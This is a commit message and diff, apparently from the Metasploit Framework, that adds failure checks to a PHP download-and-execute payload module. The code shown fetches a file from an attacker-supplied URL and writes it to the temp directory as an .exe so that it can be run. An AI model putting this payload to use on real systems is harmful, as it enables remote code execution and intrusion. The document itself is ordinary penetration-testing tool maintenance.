Don't spin CPU if an fopen fails

Because PHP is happy to continue on just fine in that case and the loop
below will run unbounded spewing warnings about reading from `false`.

Author: egypt

modules/payloads/singles/php/download_exec.rb

@@ -56,7 +56,9 @@ def php_exec_file
     }
     $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
     $fd_in = fopen("#{datastore['URL']}", "rb");
+    if ($fd_in === false) { die(); }
     $fd_out = fopen($fname, "wb");
+    if ($fd_out === false) { die(); }
     while (!feof($fd_in)) {
       fwrite($fd_out, fread($fd_in, 8192));
     }